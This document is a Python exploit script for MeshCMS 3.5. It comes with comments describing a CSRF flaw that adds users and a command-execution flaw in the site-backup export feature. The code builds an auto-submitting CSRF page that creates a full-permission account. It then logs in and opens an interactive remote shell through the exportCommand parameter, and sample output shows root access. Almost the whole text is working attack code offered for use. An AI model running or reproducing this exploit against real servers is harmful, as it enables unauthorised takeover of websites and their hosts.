MeshCMS 3.5 Remote Code Execution

`#!/usr/bin/python  
# MeshCMS v3.5 remote code execution exploit  
# Environment:  
# Tomcat 7.02/ubuntu 10.04  
#  
# 1) details:  
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker.  
# The admin will not be told a user has been added and will land into the admin console without any other suspicion.  
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the  
# private/[username].xml config file required for the users authentication.  
#  
# 2) details:  
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server.  
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.  
#  
# Further notes:  
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.  
# This exploit will attempt to target both 1) and 2).  
#  
# Usage:  
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member  
#  
# | ------------------------------------------ |  
# | MeshCMS v3.5 Remote Code Execution Explo!t |  
# | by mr_me - net-ninja.net ----------------- |  
#  
# (+) Writing CSRF..  
# (!) Done! check index.html  
# [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member  
#  
# | ------------------------------------------ |  
# | MeshCMS v3.5 Remote Code Execution Explo!t |  
# | by mr_me - net-ninja.net ----------------- |  
#  
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!  
# (+) Logging into CMS.. Logged in successfully  
# (+) Be patient, the first few requests are slow.  
# (+) Entering interactive remote console (q for quit)  
#  
# [email protected]:8080# id  
#  
# uid=0(root) gid=0(root) groups=0(root)  
#  
# [email protected]:8080# uname -a  
#  
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux  
#  
# [email protected]:8080# q  
  
import sys, urllib, re, urllib2, getpass  
from optparse import OptionParser  
from random import choice  
from cookielib import CookieJar  
  
usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"  
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"  
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"  
  
parser = OptionParser(usage=usage)  
parser.add_option("-p", type="string",action="store", dest="proxy",  
help="HTTP Proxy <server:port>")  
parser.add_option("-t", type="string", action="store", dest="target",  
help="The Target server <server:port>")  
parser.add_option("-d", type="string", action="store", dest="dirPath",  
help="Directory path to the CMS")  
parser.add_option("-u", type="string", action="store", dest="username",  
help="Member/Editor/Admin username")  
parser.add_option("-P", type="string", action="store", dest="password",  
help="Member/Editor/Admin password")  
parser.add_option("-c", action="store_true", dest="csrf",  
help="Create the add member CSRF")  
parser.add_option("-e", action="store_true", dest="exploit",  
help="Exploit the target with a shell (requires a valid account)")  
  
(options, args) = parser.parse_args()  
  
def banner():  
print "\n\t| ------------------------------------------ |"  
print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"  
print "\t| by mr_me - net-ninja.net ----------------- |\n"  
  
if len(sys.argv) < 9:  
banner()  
parser.print_help()  
sys.exit(1)  
  
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",  
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",  
"Microsoft Internet Explorer/4.0b1 (Windows 95)",  
"Opera/8.00 (Windows NT 5.1; U; en)"]  
  
def getProxy():  
try:  
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})  
except(socket.timeout):  
print "\n(-) Proxy timed out"  
sys.exit(1)  
return proxy_handler  
  
def testProxy():  
sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))  
sys.stdout.flush()  
opener = urllib2.build_opener(getProxy())  
try:  
check = opener.open("http://www.google.com").read()  
except:  
check = 0  
pass  
if check >= 1:  
sys.stdout.write("proxy is found to be working!\n")  
sys.stdout.flush()  
else:  
print "proxy failed, exiting.."  
sys.exit(1)  
  
def writeCsrf():  
print "(+) Writing CSRF.."  
csrf = ("<html><body onload='document.f.submit()'>"  
"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"  
"<input type=\"hidden\" name=\"new\" value=\"true\">"  
"<input type=\"hidden\" name=\"username\" value=\"%s\">"  
"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"  
"<input type=\"hidden\" name=\"password1\" value=\"%s\">"  
"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" %  
(options.target, options.dirPath, options.username, options.password, options.password))  
try:  
mycsrf = open("index.html", "w")  
mycsrf.write(csrf)  
mycsrf.close()  
except:  
print "(-) Failed writing csrf.. exiting."  
print "(!) Done! check index.html"  
  
def interactiveAttack(opener):  
print "(+) Be patient, the first few requests are slow."  
print "(+) Entering interactive remote console (q for quit)\n"  
hn = "%s@%s# " % (getpass.getuser(), options.target)  
cmd = ""  
while cmd != 'q':  
try:  
cmd = raw_input(hn)  
cmd = '+'.join(cmd.split())  
sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"  
"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"  
% (options.target, options.dirPath, options.target, options.dirPath, cmd))  
try:  
check = opener.open(sploit).read()  
except urllib2.HTTPError, error:  
check = error.read()  
pass  
  
try:  
resp = check.split("standard output:")[1].split("end of standard output")[0]   
print resp  
except:  
pass  
  
except:  
break  
print "\n(-) Exiting.."  
  
def doLogin():  
sys.stdout.write("(+) Logging into CMS.. ")  
sys.stdout.flush()  
adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"  
values = {'username' : options.username, 'password' : options.password }  
data = urllib.urlencode(values)  
cj = CookieJar()  
if options.proxy:  
try:  
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))  
check = opener.open(adminIndex, data).read()  
except:  
print "\n(-) Proxy connection failed to remote target"  
sys.exit(1)  
else:  
try:  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
check = opener.open(adminIndex, data).read()  
except:  
print "(-) Target connection failed, check your address"  
sys.exit(1)  
if re.search("Login successful", check):  
sys.stdout.write("Logged in successfully\n")  
sys.stdout.flush()  
else:  
sys.stdout.write("Login Failed! Exiting..\n")  
sys.stdout.flush()  
sys.exit(1)  
return opener  
  
if __name__ == "__main__":  
banner()  
if options.exploit:  
if options.proxy:  
testProxy()  
myopener = doLogin()  
interactiveAttack(myopener)  
elif options.csrf:  
writeCsrf()  
addadmin = ""  
  
`